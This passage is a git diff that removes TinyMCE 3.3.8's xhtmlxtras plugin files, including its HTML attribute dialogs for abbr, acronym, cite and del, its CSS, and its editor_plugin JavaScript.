<td><input id="onblur" name="onblur" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onclick">onclick</label>:</td> - <td><input id="onclick" name="onclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="ondblclick">ondblclick</label>:</td> - <td><input id="ondblclick" name="ondblclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousedown">onmousedown</label>:</td> - <td><input id="onmousedown" name="onmousedown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseup">onmouseup</label>:</td> - <td><input id="onmouseup" name="onmouseup" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseover">onmouseover</label>:</td> - <td><input id="onmouseover" name="onmouseover" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousemove">onmousemove</label>:</td> - <td><input id="onmousemove" name="onmousemove" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseout">onmouseout</label>:</td> - <td><input id="onmouseout" name="onmouseout" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeypress">onkeypress</label>:</td> - <td><input id="onkeypress" name="onkeypress" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeydown">onkeydown</label>:</td> - <td><input id="onkeydown" name="onkeydown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeyup">onkeyup</label>:</td> - <td><input id="onkeyup" name="onkeyup" type="text" value="" class="field" /></td> - </tr> - </table> - </fieldset> - </div> - </div> - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="remove" name="remove" class="button" value="{#xhtmlxtras_dlg.remove}" onclick="removeAbbr();" style="display: none;" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/acronym.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/acronym.htm deleted file mode 100644 index 31ee7b7..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/acronym.htm +++ /dev/null @@ -1,141 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#xhtmlxtras_dlg.title_acronym_element}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/element_common.js"></script> - <script type="text/javascript" src="js/acronym.js"></script> - <link rel="stylesheet" type="text/css" href="css/popup.css" /> -</head> -<body style="display: none"> -<form onsubmit="insertAcronym();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.general_tab}</a></span></li> - <!-- <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.events_tab}</a></span></li> --> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_attrib_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="titlelabel" for="title">{#xhtmlxtras_dlg.attribute_label_title}</label>:</td> - <td><input id="title" name="title" type="text" value="" class="field mceFocus" /></td> - </tr> - <tr> - <td class="label"><label id="idlabel" for="id">{#xhtmlxtras_dlg.attribute_label_id}</label>:</td> - <td><input id="id" name="id" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="classlabel" for="class">{#xhtmlxtras_dlg.attribute_label_class}</label>:</td> - <td> - <select id="class" name="class" class="field mceEditableSelect"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="stylelabel" for="class">{#xhtmlxtras_dlg.attribute_label_style}</label>:</td> - <td><input id="style" name="style" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="dirlabel" for="dir">{#xhtmlxtras_dlg.attribute_label_langdir}</label>:</td> - <td> - <select id="dir" name="dir" class="field"> - <option value="">{#not_set}</option> - <option value="ltr">{#xhtmlxtras_dlg.attribute_option_ltr}</option> - <option value="rtl">{#xhtmlxtras_dlg.attribute_option_rtl}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="langlabel" for="lang">{#xhtmlxtras_dlg.attribute_label_langcode}</label>:</td> - <td> - <input id="lang" name="lang" type="text" value="" class="field" /> - </td> - </tr> - </table> - </fieldset> - </div> - <div id="events_panel" class="panel"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_events_tab}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label for="onfocus">onfocus</label>:</td> - <td><input id="onfocus" name="onfocus" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onblur">onblur</label>:</td> - <td><input id="onblur" name="onblur" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onclick">onclick</label>:</td> - <td><input id="onclick" name="onclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="ondblclick">ondblclick</label>:</td> - <td><input id="ondblclick" name="ondblclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousedown">onmousedown</label>:</td> - <td><input id="onmousedown" name="onmousedown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseup">onmouseup</label>:</td> - <td><input id="onmouseup" name="onmouseup" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseover">onmouseover</label>:</td> - <td><input id="onmouseover" name="onmouseover" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousemove">onmousemove</label>:</td> - <td><input id="onmousemove" name="onmousemove" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseout">onmouseout</label>:</td> - <td><input id="onmouseout" name="onmouseout" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeypress">onkeypress</label>:</td> - <td><input id="onkeypress" name="onkeypress" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeydown">onkeydown</label>:</td> - <td><input id="onkeydown" name="onkeydown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeyup">onkeyup</label>:</td> - <td><input id="onkeyup" name="onkeyup" type="text" value="" class="field" /></td> - </tr> - </table> - </fieldset> - </div> - </div> - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="remove" name="remove" class="button" value="{#xhtmlxtras_dlg.remove}" onclick="removeAcronym();" style="display: none;" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/attributes.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/attributes.htm deleted file mode 100644 index 17054da..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/attributes.htm +++ /dev/null @@ -1,148 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#xhtmlxtras_dlg.attribs_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="js/attributes.js"></script> - <link rel="stylesheet" type="text/css" href="css/attributes.css" /> -</head> -<body style="display: none"> -<form onsubmit="insertAction();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.attribute_attrib_tab}</a></span></li> - <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.attribute_events_tab}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#xhtmlxtras_dlg.attribute_attrib_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="titlelabel" for="title">{#xhtmlxtras_dlg.attribute_label_title}</label>:</td> - <td><input id="title" name="title" type="text" value="" class="mceFocus" /></td> - </tr> - <tr> - <td class="label"><label id="idlabel" for="id">{#xhtmlxtras_dlg.attribute_label_id}</label>:</td> - <td><input id="id" name="id" type="text" value="" /></td> - </tr> - <tr> - <td><label id="classlabel" for="classlist">{#class_name}</label></td> - <td> - <select id="classlist" name="classlist" class="mceEditableSelect"> - <option value="" selected="selected">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="stylelabel" for="style">{#xhtmlxtras_dlg.attribute_label_style}</label>:</td> - <td><input id="style" name="style" type="text" value="" /></td> - </tr> - <tr> - <td class="label"><label id="dirlabel" for="dir">{#xhtmlxtras_dlg.attribute_label_langdir}</label>:</td> - <td> - <select id="dir" name="dir"> - <option value="">{#not_set}</option> - <option value="ltr">{#xhtmlxtras_dlg.option_ltr}</option> - <option value="rtl">{#xhtmlxtras_dlg.option_rtl}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="langlabel" for="lang">{#xhtmlxtras_dlg.attribute_label_langcode}</label>:</td> - <td> - <input id="lang" name="lang" type="text" value="" /> - </td> - </tr> - <tr> - <td><label id="tabindexlabel" for="tabindex">{#xhtmlxtras_dlg.attribute_label_tabindex}</label></td> - <td><input type="text" id="tabindex" name="tabindex" value="" /></td> - </tr> - - <tr> - <td><label id="accesskeylabel" for="accesskey">{#xhtmlxtras_dlg.attribute_label_accesskey}</label></td> - <td><input type="text" id="accesskey" name="accesskey" value="" /></td> - </tr> - </table> - </fieldset> - </div> - <div id="events_panel" class="panel"> - <fieldset> - <legend>{#xhtmlxtras_dlg.attribute_events_tab}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label for="onfocus">onfocus</label>:</td> - <td><input id="onfocus" name="onfocus" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onblur">onblur</label>:</td> - <td><input id="onblur" name="onblur" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onclick">onclick</label>:</td> - <td><input id="onclick" name="onclick" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="ondblclick">ondblclick</label>:</td> - <td><input id="ondblclick" name="ondblclick" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousedown">onmousedown</label>:</td> - <td><input id="onmousedown" name="onmousedown" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseup">onmouseup</label>:</td> - <td><input id="onmouseup" name="onmouseup" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseover">onmouseover</label>:</td> - <td><input id="onmouseover" name="onmouseover" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousemove">onmousemove</label>:</td> - <td><input id="onmousemove" name="onmousemove" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseout">onmouseout</label>:</td> - <td><input id="onmouseout" name="onmouseout" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeypress">onkeypress</label>:</td> - <td><input id="onkeypress" name="onkeypress" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeydown">onkeydown</label>:</td> - <td><input id="onkeydown" name="onkeydown" type="text" value="" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeyup">onkeyup</label>:</td> - <td><input id="onkeyup" name="onkeyup" type="text" value="" /></td> - </tr> - </table> - </fieldset> - </div> - </div> - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/cite.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/cite.htm deleted file mode 100644 index d0a3e3a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/cite.htm +++ /dev/null @@ -1,141 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#xhtmlxtras_dlg.title_cite_element}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/element_common.js"></script> - <script type="text/javascript" src="js/cite.js"></script> - <link rel="stylesheet" type="text/css" href="css/popup.css" /> -</head> -<body style="display: none"> -<form onsubmit="insertCite();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.general_tab}</a></span></li> - <!-- <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.events_tab}</a></span></li> --> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_attrib_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="titlelabel" for="title">{#xhtmlxtras_dlg.attribute_label_title}</label>:</td> - <td><input id="title" name="title" type="text" value="" class="field mceFocus" /></td> - </tr> - <tr> - <td class="label"><label id="idlabel" for="id">{#xhtmlxtras_dlg.attribute_label_id}</label>:</td> - <td><input id="id" name="id" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="classlabel" for="class">{#xhtmlxtras_dlg.attribute_label_class}</label>:</td> - <td> - <select id="class" name="class" class="field mceEditableSelect"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="stylelabel" for="class">{#xhtmlxtras_dlg.attribute_label_style}</label>:</td> - <td><input id="style" name="style" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="dirlabel" for="dir">{#xhtmlxtras_dlg.attribute_label_langdir}</label>:</td> - <td> - <select id="dir" name="dir" class="field"> - <option value="">{#not_set}</option> - <option value="ltr">{#xhtmlxtras_dlg.attribute_option_ltr}</option> - <option value="rtl">{#xhtmlxtras_dlg.attribute_option_rtl}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="langlabel" for="lang">{#xhtmlxtras_dlg.attribute_label_langcode}</label>:</td> - <td> - <input id="lang" name="lang" type="text" value="" class="field" /> - </td> - </tr> - </table> - </fieldset> - </div> - <div id="events_panel" class="panel"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_events_tab}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label for="onfocus">onfocus</label>:</td> - <td><input id="onfocus" name="onfocus" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onblur">onblur</label>:</td> - <td><input id="onblur" name="onblur" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onclick">onclick</label>:</td> - <td><input id="onclick" name="onclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="ondblclick">ondblclick</label>:</td> - <td><input id="ondblclick" name="ondblclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousedown">onmousedown</label>:</td> - <td><input id="onmousedown" name="onmousedown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseup">onmouseup</label>:</td> - <td><input id="onmouseup" name="onmouseup" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseover">onmouseover</label>:</td> - <td><input id="onmouseover" name="onmouseover" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousemove">onmousemove</label>:</td> - <td><input id="onmousemove" name="onmousemove" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseout">onmouseout</label>:</td> - <td><input id="onmouseout" name="onmouseout" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeypress">onkeypress</label>:</td> - <td><input id="onkeypress" name="onkeypress" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeydown">onkeydown</label>:</td> - <td><input id="onkeydown" name="onkeydown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeyup">onkeyup</label>:</td> - <td><input id="onkeyup" name="onkeyup" type="text" value="" class="field" /></td> - </tr> - </table> - </fieldset> - </div> - </div> - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="remove" name="remove" class="button" value="{#xhtmlxtras_dlg.remove}" onclick="removeCite();" style="display: none;" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/attributes.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/attributes.css deleted file mode 100644 index 9a6a235..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/attributes.css +++ /dev/null @@ -1,11 +0,0 @@ -.panel_wrapper div.current { - height: 290px; -} - -#id, #style, #title, #dir, #hreflang, #lang, #classlist, #tabindex, #accesskey { - width: 200px; -} - -#events_panel input { - width: 200px; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/popup.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/popup.css deleted file mode 100644 index e67114d..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/popup.css +++ /dev/null @@ -1,9 +0,0 @@ -input.field, select.field {width:200px;} -input.picker {width:179px; margin-left: 5px;} -input.disabled {border-color:#F2F2F2;} -img.picker {vertical-align:text-bottom; cursor:pointer;} -h1 {padding: 0 0 5px 0;} -.panel_wrapper div.current {height:160px;} -#xhtmlxtrasdel .panel_wrapper div.current, #xhtmlxtrasins .panel_wrapper div.current {height: 230px;} -a.browse span {display:block; width:20px; height:20px; background:url('../../../themes/advanced/img/icons.gif') -140px -20px;} -#datetime {width:180px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/del.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/del.htm deleted file mode 100644 index 8b07fa8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/del.htm +++ /dev/null @@ -1,161 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#xhtmlxtras_dlg.title_del_element}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/element_common.js"></script> - <script type="text/javascript" src="js/del.js"></script> - <link rel="stylesheet" type="text/css" href="css/popup.css" /> -</head> -<body id="xhtmlxtrasins" style="display: none"> -<form onsubmit="insertDel();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.general_tab}</a></span></li> - <!-- <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.events_tab}</a></span></li> --> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_general_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="datetimelabel" for="datetime">{#xhtmlxtras_dlg.attribute_label_datetime}</label>:</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="datetime" name="datetime" type="text" value="" maxlength="19" class="field mceFocus" /></td> - <td><a href="javascript:insertDateTime('datetime');" onmousedown="return false;" class="browse"><span class="datetime" title="{#xhtmlxtras_dlg.insert_date}"></span></a></td> - </tr> - </table> - </td> - </tr> - <tr> - <td class="label"><label id="citelabel" for="cite">{#xhtmlxtras_dlg.attribute_label_cite}</label>:</td> - <td><input id="cite" name="cite" type="text" value="" class="field" /></td> - </tr> - </table> - </fieldset> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_attrib_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="titlelabel" for="title">{#xhtmlxtras_dlg.attribute_label_title}</label>:</td> - <td><input id="title" name="title" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="idlabel" for="id">{#xhtmlxtras_dlg.attribute_label_id}</label>:</td> - <td><input id="id" name="id" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="classlabel" for="class">{#xhtmlxtras_dlg.attribute_label_class}</label>:</td> - <td> - <select id="class" name="class" class="field mceEditableSelect"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="stylelabel" for="class">{#xhtmlxtras_dlg.attribute_label_style}</label>:</td> - <td><input id="style" name="style" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="dirlabel" for="dir">{#xhtmlxtras_dlg.attribute_label_langdir}</label>:</td> - <td> - <select id="dir" name="dir" class="field"> - <option value="">{#not_set}</option> - <option value="ltr">{#xhtmlxtras_dlg.attribute_option_ltr}</option> - <option value="rtl">{#xhtmlxtras_dlg.attribute_option_rtl}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="langlabel" for="lang">{#xhtmlxtras_dlg.attribute_label_langcode}</label>:</td> - <td> - <input id="lang" name="lang" type="text" value="" class="field" /> - </td> - </tr> - </table> - </fieldset> - </div> - <div id="events_panel" class="panel"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_events_tab}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label for="onfocus">onfocus</label>:</td> - <td><input id="onfocus" name="onfocus" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onblur">onblur</label>:</td> - <td><input id="onblur" name="onblur" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onclick">onclick</label>:</td> - <td><input id="onclick" name="onclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="ondblclick">ondblclick</label>:</td> - <td><input id="ondblclick" name="ondblclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousedown">onmousedown</label>:</td> - <td><input id="onmousedown" name="onmousedown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseup">onmouseup</label>:</td> - <td><input id="onmouseup" name="onmouseup" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseover">onmouseover</label>:</td> - <td><input id="onmouseover" name="onmouseover" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousemove">onmousemove</label>:</td> - <td><input id="onmousemove" name="onmousemove" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseout">onmouseout</label>:</td> - <td><input id="onmouseout" name="onmouseout" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeypress">onkeypress</label>:</td> - <td><input id="onkeypress" name="onkeypress" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeydown">onkeydown</label>:</td> - <td><input id="onkeydown" name="onkeydown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeyup">onkeyup</label>:</td> - <td><input id="onkeyup" name="onkeyup" type="text" value="" class="field" /></td> - </tr> - </table> - </fieldset> - </div> - </div> - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="remove" name="remove" class="button" value="{#xhtmlxtras_dlg.remove}" onclick="removeDel();" style="display: none;" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin.js deleted file mode 100644 index a9393ad..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.XHTMLXtrasPlugin",{init:function(a,b){a.addCommand("mceCite",function(){a.windowManager.open({file:b+"/cite.htm",width:350+parseInt(a.getLang("xhtmlxtras.cite_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.cite_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceAcronym",function(){a.windowManager.open({file:b+"/acronym.htm",width:350+parseInt(a.getLang("xhtmlxtras.acronym_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.acronym_delta_width",0)),inline:1},{plugin_url:b})});a.addCommand("mceAbbr",function(){a.windowManager.open({file:b+"/abbr.htm",width:350+parseInt(a.getLang("xhtmlxtras.abbr_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.abbr_delta_width",0)),inline:1},{plugin_url:b})});a.addCommand("mceDel",function(){a.windowManager.open({file:b+"/del.htm",width:340+parseInt(a.getLang("xhtmlxtras.del_delta_width",0)),height:310+parseInt(a.getLang("xhtmlxtras.del_delta_width",0)),inline:1},{plugin_url:b})});a.addCommand("mceIns",function(){a.windowManager.open({file:b+"/ins.htm",width:340+parseInt(a.getLang("xhtmlxtras.ins_delta_width",0)),height:310+parseInt(a.getLang("xhtmlxtras.ins_delta_width",0)),inline:1},{plugin_url:b})});a.addCommand("mceAttributes",function(){a.windowManager.open({file:b+"/attributes.htm",width:380,height:370,inline:1},{plugin_url:b})});a.addButton("cite",{title:"xhtmlxtras.cite_desc",cmd:"mceCite"});a.addButton("acronym",{title:"xhtmlxtras.acronym_desc",cmd:"mceAcronym"});a.addButton("abbr",{title:"xhtmlxtras.abbr_desc",cmd:"mceAbbr"});a.addButton("del",{title:"xhtmlxtras.del_desc",cmd:"mceDel"});a.addButton("ins",{title:"xhtmlxtras.ins_desc",cmd:"mceIns"});a.addButton("attribs",{title:"xhtmlxtras.attribs_desc",cmd:"mceAttributes"});a.onNodeChange.add(function(d,c,f,e){f=d.dom.getParent(f,"CITE,ACRONYM,ABBR,DEL,INS");c.setDisabled("cite",e);c.setDisabled("acronym",e);c.setDisabled("abbr",e);c.setDisabled("del",e);c.setDisabled("ins",e);c.setDisabled("attribs",f&&f.nodeName=="BODY");c.setActive("cite",0);c.setActive("acronym",0);c.setActive("abbr",0);c.setActive("del",0);c.setActive("ins",0);if(f){do{c.setDisabled(f.nodeName.toLowerCase(),0);c.setActive(f.nodeName.toLowerCase(),1)}while(f=f.parentNode)}});a.onPreInit.add(function(){a.dom.create("abbr")})},getInfo:function(){return{longname:"XHTML Xtras Plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("xhtmlxtras",tinymce.plugins.XHTMLXtrasPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js deleted file mode 100644 index 5f9d9bd..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js +++ /dev/null @@ -1,132 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.XHTMLXtrasPlugin', { - init : function(ed, url) { - // Register commands - ed.addCommand('mceCite', function() { - ed.windowManager.open({ - file : url + '/cite.htm', - width : 350 + parseInt(ed.getLang('xhtmlxtras.cite_delta_width', 0)), - height : 250 + parseInt(ed.getLang('xhtmlxtras.cite_delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - ed.addCommand('mceAcronym', function() { - ed.windowManager.open({ - file : url + '/acronym.htm', - width : 350 + 